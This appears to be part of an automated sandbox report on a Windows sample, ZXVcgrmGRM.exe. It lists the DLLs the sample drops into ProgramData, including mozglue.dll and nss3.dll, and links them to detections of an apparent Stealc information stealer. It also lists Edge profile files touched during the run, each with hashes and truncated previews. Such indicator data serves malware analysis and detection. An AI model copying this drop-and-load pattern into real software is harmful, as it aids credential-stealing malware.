MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: D2Cw8gWOXj.exe, Detection: malicious, Browse Filename: random.exe.7.exe, Detection: malicious, Browse Filename: random.exe.6.exe, Detection: malicious, Browse Filename: stealc_default2.exe, Detection: malicious, Browse Filename: V65xPrgEHH.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6aTAU3Dzp6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 4TPPuMwzSA.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: D2Cw8gWOXj.exe, Detection: malicious, Browse Filename: random.exe.7.exe, Detection: malicious, Browse Filename: random.exe.6.exe, Detection: malicious, Browse Filename: stealc_default2.exe, Detection: malicious, Browse Filename: V65xPrgEHH.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 6aTAU3Dzp6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 4TPPuMwzSA.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\10fd434d-2913-42f2-b74b-a88852b896db.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44628
Entropy (8bit):	6.096605820562375
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBCwuUhDO6vP6OZoEyTdIjr9wLFBLgPf7cGoup1XlI:z/Ps+wsI7ynE+657yTdIj5chu3VlXr4z
MD5:	559AC1606DD053484000230A01BBAE9A
SHA1:	3D6659F2F398DF34D07B311619C1A0FDFC465C58
SHA-256:	2DCD3F39859C2CC751C9A9C5A73CE7F88100F1113F08D02AF152DF0506A932BE
SHA-512:	E9EF4BF640D6783EBF45A8BA09DD2D26B7BB8A65D7C333E597669AB10834D2BF75BC41423D51B976A7E63D2F6AC9F0A41A18A8E628EBFD2DFDF8046F1A912363
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7a4e893a-d350-4f11-8ce3-b5f895f4f801.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090725914488749
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Xtbz8hu3VlXr4CRo1
MD5:	46148B414888B6A644A3E08335DDDD82
SHA1:	2C3ACDB50B3157730022A1737FE148096B8A9162
SHA-256:	2112854AAC632D109B5A68060EC3FCB975D1B5CFC65017ABAC768F8919F03A7E
SHA-512:	639932C0E005C3C6F503EA2766F7E1B8F65037851717C8D32FCEBB2C0B0F05FD27447839D5ADAACFD48705A953C36BF3327D33B814771224C5E791CFF4342451
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\82e2c735-fe50-487c-8c72-54539fd1f53e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44635
Entropy (8bit):	6.0961966476928655
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBiwuUhDO6vP6OZoEyTdIjvvG13FOucGoup1Xl3jVu:z/Ps+wsI7ynEe657yTdIj2chu3VlXr4z
MD5:	C929D3BAF0BB12C1B4DA264BD4A65131
SHA1:	7D11608985D6B36B2568FB415B363FBB86075912
SHA-256:	77E2D038EEA78F272D5756C3BFFBDAF47C75905E538BD36B76156B4278433B05
SHA-512:	D1425E28317D5C7ABC9434B5C0469AB5018AEB26DD3C7DEB4E76B3687FA5C06A3FBCF8ABE09FDAFA268A6CCB3B43FFB9566EA025D2F808E630ABE869E4B85ECC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\953651a4-d218-4645-b133-f3f62eefcda5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44635
Entropy (8bit):	6.0961966476928655
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBiwuUhDO6vP6OZoEyTdIjvvG13FOucGoup1Xl3jVu:z/Ps+wsI7ynEe657yTdIj2chu3VlXr4z
MD5:	C929D3BAF0BB12C1B4DA264BD4A65131
SHA1:	7D11608985D6B36B2568FB415B363FBB86075912
SHA-256:	77E2D038EEA78F272D5756C3BFFBDAF47C75905E538BD36B76156B4278433B05
SHA-512:	D1425E28317D5C7ABC9434B5C0469AB5018AEB26DD3C7DEB4E76B3687FA5C06A3FBCF8ABE09FDAFA268A6CCB3B43FFB9566EA025D2F808E630ABE869E4B85ECC
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9d6f3cd7-f5bc-40d1-b8f2-cb17eac6604a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44628
Entropy (8bit):	6.096605820562375
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBCwuUhDO6vP6OZoEyTdIjr9wLFBLgPf7cGoup1XlI:z/Ps+wsI7ynE+657yTdIj5chu3VlXr4z
MD5:	559AC1606DD053484000230A01BBAE9A
SHA1:	3D6659F2F398DF34D07B311619C1A0FDFC465C58
SHA-256:	2DCD3F39859C2CC751C9A9C5A73CE7F88100F1113F08D02AF152DF0506A932BE
SHA-512:	E9EF4BF640D6783EBF45A8BA09DD2D26B7BB8A65D7C333E597669AB10834D2BF75BC41423D51B976A7E63D2F6AC9F0A41A18A8E628EBFD2DFDF8046F1A912363
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67633860-1EAC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0467220375069708
Encrypted:	false
SSDEEP:	192:uptU0pqtmSnOAWVHY/JgA8x5XSggykfhbNNETHIz/ERQcQe4BJ/xzn8y08Tcm2Rl:2K0ctBM6gk9hZ3YH4r/d08T2RGOD
MD5:	C888388B3C34A162188FE517E845E1A8
SHA1:	DA296CFD22327E4E9F43015F75354FF51F5FE2E6
SHA-256:	56CBF407E54E6244F66085A61CA51ECFAE17E139E82F4CB8475A15DAB0B39481
SHA-512:	F2F3224D729B034D8718F86887AC6A5F0E6C5BAAB967BE121DEAC34760AAB9B090077D7C81666668CA7BA9C5B1251C98C9FD2E10C45F43DAC6116F8155B0E42C
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".kvxutt20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090725914488749
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Xtbz8hu3VlXr4CRo1
MD5:	46148B414888B6A644A3E08335DDDD82
SHA1:	2C3ACDB50B3157730022A1737FE148096B8A9162
SHA-256:	2112854AAC632D109B5A68060EC3FCB975D1B5CFC65017ABAC768F8919F03A7E
SHA-512:	639932C0E005C3C6F503EA2766F7E1B8F65037851717C8D32FCEBB2C0B0F05FD27447839D5ADAACFD48705A953C36BF3327D33B814771224C5E791CFF4342451
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36708.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090725914488749
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Xtbz8hu3VlXr4CRo1
MD5:	46148B414888B6A644A3E08335DDDD82
SHA1:	2C3ACDB50B3157730022A1737FE148096B8A9162
SHA-256:	2112854AAC632D109B5A68060EC3FCB975D1B5CFC65017ABAC768F8919F03A7E
SHA-512:	639932C0E005C3C6F503EA2766F7E1B8F65037851717C8D32FCEBB2C0B0F05FD27447839D5ADAACFD48705A953C36BF3327D33B814771224C5E791CFF4342451
Malicious:	false
